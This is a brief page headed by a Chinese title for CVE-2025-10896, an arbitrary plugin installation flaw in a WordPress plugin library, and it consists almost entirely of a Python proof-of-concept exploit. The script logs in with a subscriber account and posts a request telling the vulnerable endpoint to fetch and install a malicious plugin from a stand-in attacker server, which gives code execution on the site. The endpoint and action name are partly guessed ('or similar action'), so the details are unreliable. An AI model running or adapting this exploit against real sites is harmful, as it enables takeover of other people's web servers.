CVE-2025-10896 WordPress插件库任意插件上传漏洞

import requests import sys # CVE-2025-10896 PoC - WordPress Plugin Library Arbitrary Plugin Installation # Target: WordPress sites with vulnerable Jewel Theme Recommended Plugins Library target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Malicious plugin URL (attacker-controlled) malicious_plugin_url = "http://attacker-server.com/malicious-plugin.zip" # Authentication with subscriber-level account session = requests.Session() login_data = { "log": "subscriber_user", "pwd": "subscriber_password", "wp-submit": "Log In" } # Step 1: Authenticate as subscriber login_response = session.post(f"{target_url}/wp-login.php", data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Authentication failed") exit(1) print("[+] Authenticated as subscriber") # Step 2: Exploit the arbitrary plugin installation vulnerability # The vulnerable endpoint varies by plugin, commonly: exploit_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-admin/admin.php?page=recommended", ] for endpoint in exploit_endpoints: exploit_data = { "action": "image_hover_recommended_upgrade_plugin", # or similar action "plugin_url": malicious_plugin_url, "plugin_slug": "malicious-plugin" } response = session.post(f"{target_url}{endpoint}", data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent via {endpoint}") print(f"[+] Response: {response.text[:200]}") break print("\n[!] If successful, the malicious plugin is now installed and active") print("[!] Attacker can now execute arbitrary code via the malicious plugin")